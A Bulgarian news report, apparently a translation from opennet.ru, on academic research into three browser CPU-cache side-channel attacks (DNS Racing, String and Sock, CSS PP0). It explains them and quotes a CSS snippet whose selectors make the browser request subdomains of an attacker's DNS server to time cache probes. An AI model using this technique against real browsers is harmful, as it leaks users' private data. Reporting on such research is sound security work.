Атака за извличане на кеша на процесора, реализирана в уеб браузър без JavaScript

Екип от изследователи от няколко американски, израелски и австралийски университета е разработил три атаки, които се изпълняват върху уеб браузъри, за да извлекат информация за съдържанието на кеша на процесора. Единият метод работи в браузъри без JavaScript, а другите два заобикалят съществуващите методи за защита срещу странични канални атаки, включително тези, използвани в браузъра Tor и DeterFox. Кодът за демонстриране на атаките, както и сървърните компоненти, необходими за атаките, са публикувани в GitHub.

За да се анализира съдържанието на кеша, всички атаки използват метода Prime+Probe, който включва попълване на кеша със стандартен набор от стойности и откриване на промени чрез измерване на времето за достъп до тях при повторното им попълване. За да се заобиколят механизмите за сигурност, присъстващи в браузърите, които пречат на точното измерване на времето, в два варианта се прави обжалване към DNS или WebSocket сървър, контролиран от нападателя, който поддържа регистър на времето на получените заявки. В едно изпълнение, фиксирано време за отговор на DNS се използва като референтно време.

Измерванията, направени с помощта на външни DNS или WebSocket сървъри, използвайки класификационна система, базирана на машинно обучение, бяха достатъчни за прогнозиране на стойности с точност до 98% в най-оптималния сценарий (средно 80-90%). Методите за атака са тествани на различни хардуерни платформи (Intel, AMD Ryzen, Apple M1, Samsung Exynos) и са се доказали като универсални.

Атака за извличане на кеша на процесора, реализирана в уеб браузър без JavaScript

Първият вариант на атаката DNS Racing използва класическа реализация на метода Prime+Probe, използвайки JavaScript масиви. Разликите се свеждат до използването на външен таймер, базиран на DNS, и манипулатор на грешка, който се задейства, когато се направи опит за зареждане на изображение от несъществуващ домейн. Външен таймер позволява Prime+Probe атака на браузъри, които ограничават или напълно деактивират достъпа до JavaScript таймери.

За DNS сървър, разположен в същата Ethernet мрежа, точността на таймера се оценява на приблизително 2 ms, което е достатъчно за извършване на атака на страничен канал (за сравнение, точността на стандартния JavaScript таймер в Tor Browser е намалена до 100 ms). За атаката не е необходим контрол върху DNS сървъра, тъй като времето за изпълнение на операцията е избрано така, че времето за отговор от DNS да служи като знак за по-ранно завършване на проверката (в зависимост от това дали манипулаторът на onerror е бил задействан по-рано или по-късно се прави заключение за скоростта на проверката с кеша) .

Вторият метод за атака, „String and Sock“, има за цел да заобиколи техниките за сигурност, които ограничават използването на масиви на ниско ниво в JavaScript. Вместо масиви, String и Sock използват операции върху много големи низове, чийто размер е избран така, че променливата да покрива целия LLC кеш (кеш от последно ниво). След това с помощта на функцията indexOf() се търси малък подниз в низа, който първоначално липсва в изходния низ, т.е. операцията за търсене води до повторение на целия низ. Тъй като размерът на реда съответства на размера на кеша на LLC, сканирането ви позволява да извършите операция за проверка на кеша, без да манипулирате масивите. За измерване на закъсненията, вместо DNS, се прави повикване към WebSocket сървър, контролиран от атакуващия - преди началото и след приключване на операцията по търсене се изпращат заявки в линията, въз основа на които сървърът изчислява забавянето, използвано за анализ съдържанието на кеша.

Третият вариант на атаката “CSS PP0” се реализира чрез HTML и CSS и може да работи в браузъри с деактивиран JavaScript. Методът е подобен на "String and Sock", но не е обвързан с JavaScript. По време на атаката се генерира набор от CSS селектори, които търсят по маска. Първоначалният голям низ, който запълва кеша, се задава чрез създаване на div таг с много голямо име на клас. Вътре има набор от други div със собствени идентификатори. Всеки от тези вложени div има свой собствен стил със селектор, който търси подниз. Когато изобразява страница, браузърът първо се опитва да обработи вътрешните div, което води до операция за търсене на голям ред. Търсенето се извършва с помощта на умишлено липсваща маска и води до повторение на целия ред, след което се задейства условието „не“ и се прави опит за зареждане на фоново изображение, препращащо към произволни домейни: #pp:not([class*=’xjtoxg’]) #s0 {background-image: url(«https://qdlvibmr.helldomain.oy.ne.ro»);} #pp:not([class*=’gzstxf’]) #s1 {background-image: url(«https://licfsdju.helldomain.oy.ne.ro»);} … х х ...

Поддомейните се обслужват от DNS сървъра на нападателя, който може да измерва закъсненията при получаване на заявки. DNS сървърът издава NXDOMAIN за всички заявки и поддържа дневник за точното време на заявките. В резултат на обработката на набор от div, DNS сървърът на атакуващия получава поредица от заявки, закъсненията между които корелират с резултата от проверката на съдържанието на кеша.

Атака за извличане на кеша на процесора, реализирана в уеб браузър без JavaScript


Източник: opennet.ru

Добавяне на нов коментар